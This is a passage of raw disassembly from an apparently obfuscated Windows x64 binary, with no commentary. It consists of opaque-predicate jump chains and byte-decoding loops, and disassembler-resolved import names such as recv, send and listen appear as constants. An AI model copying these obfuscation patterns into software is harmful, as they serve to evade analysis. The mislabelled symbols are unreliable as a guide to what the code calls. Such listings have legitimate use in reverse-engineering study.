je 0x1400958cb
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009589a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140095871
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009584d
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009582a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400957f7
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400957d3
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400957ac
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140095778
lea rax, [r9 + 3]
cmp r8, rax
je 0x140095290
lea r8, [r9 + 8]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140095f5a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140095f37
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140095489
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009546b
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140095451
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140095714
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400956b6
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140095666
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140095638
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140095290
lea r8, [r9 + 0x64]
lea r9, [r8 + 3]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140095604
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400955dd
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400955b9
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140095581
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140095559
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140095534
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140095506
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400954d5
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400954b0
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140095290
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x20]
jmp 0x140095290
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1d
jmp 0x140095280
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x2f
add r11b, dl
jmp 0x140095214
movabs rdx, 0x7292bfbf62d78089
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x41
add r11b, dl
jmp 0x1400951a4
movabs rdx, 0xab0643f3dbb6d8d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140095da8
movabs rdx, 0x9fd87a00317ac3fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140095192
movabs rdx, 0x94aab00c873eaf1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140095192
movabs rdx, 0x897ce618dd029a3e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140095e23
movabs rdx, 0x7e4f1c2532c68560
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095e4b
movabs rdx, 0x73215231888a7082
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140095192
movabs rdx, 0x67f3883dde4e5ba4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
jmp 0x140095e86
movabs rdx, 0x5cc5be4a341246c6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6a
add r11b, dl
jmp 0x140095eba
movabs rcx, 0x5197f45689d631e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, byte [rbp + rdi + 0x840]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140095192
movabs rcx, 0xb5a57b75603ffdbd
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2b
mov byte [rbp + rdi + 0x840], r11b
inc rdi
jmp 0x140095192
movabs rdx, 0xaa77b181b603e8df
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x19
add r11b, dl
cmp r9, 0x41
jb 0x140095656
movabs rdx, 0x3a1f3b8ae9f8283a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x2c]
jmp 0x140095dab
movabs rdx, 0x9f49e78e0bc7d401
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 7
add r11b, dl
cmp r8, 0x64
jae 0x140095c83
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140095b0b
movabs rdx, 0xca555806439f578e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140095685
movabs rdx, 0x941c1d9a618bbf23
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xb
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 8
je 0x140095cb0
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140095a00
movabs rdx, 0xd4f48f87c8287c73
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x25
jmp 0x1400956d5
movabs rcx, 0xc044b2f6e4c922a2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6e
movzx eax, byte [rbp + rdi + 0x840]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140095192
movabs rdx, 0xb516e9033a8d0dc4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x140095eba
movabs rdx, 0xa9e91f0f9050f8e6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4a
jmp 0x140095e86
movabs rcx, 0x9ebb551be614e408
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140095192
movabs rcx, 0x938d8b283bd8cf2a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x26
jmp 0x140095e4b
movabs rdx, 0x885fc134919cba4c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
jmp 0x140095e23
movabs rcx, 0x7d31f740e760a56e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 2
dec rdi
inc rdi
jmp 0x140095192
movabs rdx, 0x72042d4d3d249090
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140095192
movabs rdx, 0x66d6635992e87bb2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140095da8
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14009591b
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 9
jmp 0x140095733
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009595c
movabs rcx, 0xeac190fcf6edb636
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7a
movzx eax, byte [rbp + rdi + 0x840]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140095192
inc rax
cmp r8, rax
jne 0x140095990
movabs rdx, 0xf5ef5af0a129cb14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095eba
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400959c5
movabs rdx, 0x1778b8cb9fde09ae
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095e4b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140095736
movabs rdx, 0x2dd44cb2f456336a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140095192
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140095a31
movabs rdx, 0xe022597b72649151
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x37
jmp 0x140095da8
inc rax
cmp r8, rax
jne 0x140095a66
movabs rcx, 0xf67ded62c6dcbb0d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5b
dec rdi
inc rdi
jmp 0x140095192
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140095aa6
movabs rcx, 0x18074b3dc590f9a7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x6f
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140095192
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140095ad7
movabs rdx, 0x233515316fcd0e85
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x5d
jmp 0x140095e86
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400956d8
movabs rdx, 0x2e62df251a092363
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x4b
add r11b, dl
jmp 0x140095eba
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140095b51
movabs rdx, 0xd58321f9eddb6c6c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x840]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140095192
inc rax
cmp r8, rax
jne 0x140095b81
movabs rdx, 0xebdeb5e142539628
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
jmp 0x140095e86
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140095bb1
movabs rcx, 0x23a49c896cbbfe4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3c
jmp 0x140095e4b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140095be2
movabs rdx, 0xd6813bc4107d4c2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4e
jmp 0x140095e23
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140095c18
movabs rcx, 0x1895ddafeb43e9a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x140095192
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140095c51
movabs rcx, 0x23c3a7a3957ffe7e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x72
inc r9
dec rdi
inc rdi
jmp 0x140095192
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140095688
movabs rdx, 0x2ef171973fbc135c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140095da8
movabs rdx, 0x454d057e94343d18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x840]
add r11b, bl
jmp 0x140095e23
movabs rdx, 0x507acf723e7051f6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x840]
add r11b, bl
jmp 0x140095e86
movabs rcx, 0x3873843478df584f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x29
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140095192
movabs rcx, 0x16ea26597a2b19b5
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0xd
dec rdi
inc rdi
jmp 0x140095192
movabs rcx, 0xbbc5c65cfef04d7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1f
inc r9
dec rdi
inc rdi
jmp 0x140095192
movabs rdx, 0x8e927225b2eff9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x31
jmp 0x140095da8
movabs rdx, 0xea32fe8ad13ac63d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x55
add r11b, dl
movabs rcx, 0xbfb62084bf1632a9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x61
add bl, cl
mov byte [rbp + rdi + 0x840], bl
inc r9
dec rdi
inc rdi
jmp 0x140095192
movabs rcx, 0xd3d76aa37cc29c81
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x79
dec rdi
inc rdi
jmp 0x140095192
movabs rdx, 0xc8a9a0afd28687a3
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x75
add r11b, dl
movabs rcx, 0xcae3ea7869524787
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x4f
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0x840], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140095192
mov rbx, r10
movabs rdx, 0xa72042d4d3d24909
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3f
add r11b, dl
movabs rdx, 0xd611b46c138e5c65
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x3d
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x840], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x5ba89965e8ac66d4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x840], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x840]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140095192
movabs rcx, 0x90c4aeed7f5a1f4d
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1b
movzx eax, byte [rbp + rdi + 0x840]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140095192
movabs rcx, 0x6764f5cbb89b6bab
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x53
jmp 0x140095190
movabs rcx, 0x5c372bd80e5f56cd
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x65
jmp 0x140095180
lea rcx, [rbp + 0x16f0ad4]
jmp 0x140095f9c
lea rcx, [rbp + 0xcd1543]
jmp 0x140095f9c
lea rcx, [rbp + 0x840]
call fcn.140036660
mov byte [rbp + 0x868], Ordinal_211
mov byte [rbp + 0x869], reloc.WS2_32.dll_select
mov byte [rbp + 0x86a], Ordinal_217
mov byte [rbp + 0x86b], 0xee
mov byte [rbp + 0x86c], recv
mov byte [rbp + 0x86d], 0xa
mov byte [rbp + 0x86e], Ordinal_30
mov byte [rbp + 0x86f], 0xa
mov byte [rbp + 0x870], 0xbe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x871], xmm0
mov qword [rbp + 0x881], rax
mov word [rbp + 0x889], ax
movabs rsi, 0x867f0e5ccaec5a63
movabs r13, 0xd5a486c777609697
movabs r14, 0x552e4dd171c3fd
movabs r12, 0x550c20bee2b096cf
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140096e05
movzx ebx, byte [rbp + rdi + 0x868]
mov r10, rbx
cmp r8, rdi
ja 0x140096df9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009608a
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x21
jmp 0x1400960c0
je 0x140096d71
lea rax, [r9 + 3]
cmp r8, rax
je 0x140096cd5
lea rcx, [r9 + 5]
cmp r8, rcx
je 0x140096c9f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140096c53
cmp r8, rcx
je 0x140096c05
cmp r9, rdi
ja 0x140096ded
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400960f4
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x4b
add r11b, dl
jmp 0x140096140
lea rax, [r9 + 1]
cmp r8, rax
je 0x140096bde
inc rax
cmp r8, rax
je 0x140096bb2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140096b89
lea rax, [r9 + 6]
cmp r8, rax
je 0x140096b66
lea rax, [r9 + 2]
cmp r8, rax
je 0x140096b32
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400967a5
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009677e
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140096752
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140096724
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400966fc
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400966d9
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400966a6
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009667e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140096656
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140096622
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140096150
lea r8, [r9 + 9]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140096dca
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140096da7
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140096343
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140096325
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140096307
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400965c6
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140096565
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009651c
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400964ee
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140096150
lea r8, [r9 + 0x80]
lea r9, [r8 + 1]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400964b5
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009648d
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009646a
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140096437
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009640f
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400963e7
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400963be
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140096392
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009636a
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140096150
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x2a]
jmp 0x140096150
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x15
add r11b, dl
jmp 0x140096140
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x57
add r11b, dl
jmp 0x1400960c0
movabs rdx, 0xa9c3132ff3ef69a1
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x67
add r11b, dl
jmp 0x140096054
movabs rdx, 0x33f872e65762d318
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096c23
movabs rcx, 0x88af655768a1a5ea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
inc r9
dec rdi
inc rdi
jmp 0x140096042
movabs rcx, 0xdd6657c879e078bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
dec rdi
inc rdi
jmp 0x140096042
movabs rdx, 0x321d4a398b1f4b8e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096c75
movabs rdx, 0x86d43caa9c5e1e60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096cbd
movabs rcx, 0xdb8b2f1bad9cf132
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096042
movabs rcx, 0x3042218cbedbc404
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x140096cfb
movabs rdx, 0x84f913fdd01a96d6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096d29
movabs rdx, 0xd9b0066ee15969a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x868]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096042
movabs rcx, 0xad7964898c7678b5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xd
mov byte [rbp + rdi + 0x868], r11b
inc rdi
jmp 0x140096042
movabs rcx, 0x23056fa9db54b87
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4f
cmp r9, 9
jb 0x14009650c
movabs rcx, 0x1f8db379907c002a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x4c]
jmp 0x140096c23
movabs rdx, 0x56e7496baef41e59
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6f
add r11b, dl
cmp r8, 0x2a
jae 0x140096ad3
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400969f6
movabs rdx, 0x6eb32be43cf03c5e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009653a
movabs rcx, 0xab9e3bdcc032f12b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2d
lea rax, [r9 + r8]
cmp rax, 1
je 0x140096b02
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400968e0
movabs rcx, 0xe8341d877203e1fb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x23
jmp 0x140096587
movabs rcx, 0x26fa562cc18a1e52
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
movzx eax, byte [rbp + rdi + 0x868]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096042
movabs rdx, 0x7bb1489dd2c8f124
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096d29
movabs rdx, 0xd0683b0ee407c3f6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096cfb
movabs rcx, 0x251f2d7ff54696c8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096042
movabs rcx, 0x79d61ff10685699a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x36
jmp 0x140096cbd
movabs rdx, 0xce8d126217c43c6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096c75
movabs rdx, 0x234404d329030f3e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140096042
movabs rcx, 0x77faf7443a41e210
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x140096042
movabs rdx, 0xccb1e9b54b80b4e2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
add r11b, dl
jmp 0x140096c23
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400967cc
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x21
jmp 0x1400965e4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009680d
movabs rcx, 0xcfe1cb995d8b4c6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6a
movzx eax, byte [rbp + rdi + 0x868]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096042
inc rax
cmp r8, rax
jne 0x14009683e
movabs rdx, 0x639037d7735b0f22
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140096cf8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009687e
movabs rcx, 0xed94566621c3c50
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096042
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400968b0
movabs rdx, 0x656b60843f9e96ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140096c72
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400965e4
movabs rcx, 0x674689310be21e36
add rcx, rdi
movzx eax, cl
and al, bl
